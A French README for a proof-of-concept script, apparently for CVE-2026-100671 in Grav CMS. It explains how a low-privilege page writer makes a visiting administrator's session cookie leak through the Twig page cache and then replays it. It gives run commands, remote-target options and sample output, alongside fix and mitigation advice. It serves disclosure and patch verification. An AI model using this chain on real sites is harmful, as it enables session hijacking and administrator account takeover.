
Vérificateur de preuve de concept local uniquement pour CVE-2026-100671, reproduisant la divulgation et le rejeu du cookie de session du cache de pages Twig de Grav contre des cibles loopback.
Vérificateur côté attaquant minimal, limité à la cible, pour la prise de contrôle de session via le cache de pages/content-Twig de Grav, corrigée dans Grav 2.0.25.
Avis :
L'attaquant ne dispose pas du nom d'utilisateur ni du mot de passe de l'administrateur.
La véritable chaîne est la suivante :
L'action de l'administrateur se produit en dehors de ce script. exploit.py n'accepte
aucun paramètre GRAV_ADMIN_USERNAME ni GRAV_ADMIN_PASSWORD.
La boucle locale constitue la limite de sécurité par défaut. Une cible non locale nécessite le
paramètre explicite --allow-remote, destiné à une machine HTB, TryHackMe ou de laboratoire
personnel pour laquelle vous disposez d'une autorisation.
Le client suit les redirections uniquement lorsqu'elles restent sur l'origine cible sélectionnée,
utilise les clients HTTP de la bibliothèque standard Python, applique des délais d'expiration aux requêtes et n'affiche
le cookie capturé que lorsque --show-cookie est explicitement fourni.
À utiliser uniquement contre une instance Grav que vous possédez ou que vous êtes explicitement autorisé à tester. Le script crée une page de preuve publique. Supprimez cette page après le test si la cible conserve le contenu entre les exécutions.
get_cookie() lit côté serveur le cookie de session de l'administrateur en visite.Le compte d'écriture de page n'a besoin que du chemin d'écriture à faibles privilèges. Il n'a pas besoin de
api.pages.read, de admin.*, d'un accès super-administrateur ni des identifiants de l'administrateur.
2.0.19 à 2.0.24 : vulnérable avec la configuration content-Twig par défaut
fournie.2.0.0 à 2.0.18, et 1.7.x : affecté uniquement lorsque le Twig de contenu
était explicitement activé.2.0.25 : corrigé.Exécutez une cible Grav avec :
Ce dépôt à deux fichiers ne provisionne ni Grav, ni PHP, ni plugins, ni comptes, ni robot administrateur. La visite de la victime reste une action externe.
Définissez uniquement l'identifiant ou le jeton du rédacteur à faibles privilèges :
export GRAV_TARGET=http://127.0.0.1:8080
export GRAV_WRITER_USERNAME=low
export GRAV_WRITER_PASSWORD='local-writer-password'
python3 exploit.py
Le script crée une route publique aléatoire, affiche son URL et attend. Demandez à l'administrateur de visiter cette URL une fois, puis appuyez sur Entrée. Le script effectue la collecte anonyme et la relecture de l'API locale.
Utilisez plutôt un jeton d'API writer existant :
export GRAV_WRITER_TOKEN='local-low-privilege-token'
python3 exploit.py
Utile pour un terminal non interactif ou un navigateur de victime séparé.
Préparez la page :
python3 exploit.py --prepare-only
Faites visiter l'URL imprimée par un administrateur. Ensuite, collectez et rejouez en utilisant la route imprimée ; aucune information d'identification n'est nécessaire pour cette seconde phase :
python3 exploit.py --collect-only --route /cookie-proof-XXXXXXXX --show-cookie
--show-cookie affiche le cookie de session capturé pour le débogage local/en laboratoire autorisé :
captured_cookie=grav-site-<hash>=<session-value>
La valeur est un identifiant d'authentification actif. Ne la collez pas dans GitHub, les issues, les discussions, les captures d'écran ou les journaux. Sans --show-cookie, le script prouve le même impact via le statut de rejeu tout en gardant la valeur hors de la sortie.
Si la collecte s'exécute avant la visite de l'administrateur, la requête de l'attaquant peut remplir le cache avec une valeur vide. Préparez une nouvelle route aléatoire et répétez.
Ne codez pas en dur une adresse IP de machine dans le dépôt. Fournissez la cible actuelle à l'exécution :
export GRAV_WRITER_USERNAME=low
export GRAV_WRITER_PASSWORD='writer-password'
python3 exploit.py \
--target http://10.10.10.25:8080 \
--allow-remote \
--prepare-only
Après que l'administrateur/le bot a visité l'URL imprimée, collectez et rejouez :
python3 exploit.py \
--target http://10.10.10.25:8080 \
--allow-remote \
--collect-only \
--route /cookie-proof-XXXXXXXX \
--show-cookie
--base-url reste un alias de compatibilité pour --target. Le HTTP distant affiche
un avertissement en clair ; utilisez HTTPS lorsque la machine le prend en charge.
page_create_status=201
victim_action_url=http://127.0.0.1:8080/cookie-proof-XXXXXXXX
anonymous_page_status=200
cookie_name_disclosed=yes
cached_cookie_visible_to_attacker=yes
captured_cookie=grav-site-<hash>=<session-value>
replayed_cookie_api_status=200
result=VULNERABLE
La ligne captured_cookie n'apparaît qu'avec --show-cookie.
Exécutez le même flux en deux phases contre Grav 2.0.25 ou une version ultérieure, puis collectez avec :
python3 exploit.py --collect-only --route /cookie-proof-XXXXXXXX --expect fixed
Comportement corrigé attendu : aucune valeur de session visible par l'attaquant et aucune relecture de session réussie. Un résultat corrigé propre se termine avec 0 avec --expect fixed.
Mettez à niveau vers Grav 2.0.25 ou une version ultérieure. Pour les déploiements plus anciens, l'avis liste ces contrôles temporaires :
security.twig_content.process_enabled: false ; ousystem.pages.never_cache_twig: true ;Ne considérez pas HttpOnly, Secure ou SameSite comme une correction : la lecture vulnérable du cookie se produit côté serveur lors du rendu Twig.
Signalé par canhieu. Ce dépôt est une aide à la reproductibilité pour l'avis déjà public, et non un scanner distant ni un outil de collecte d'identifiants.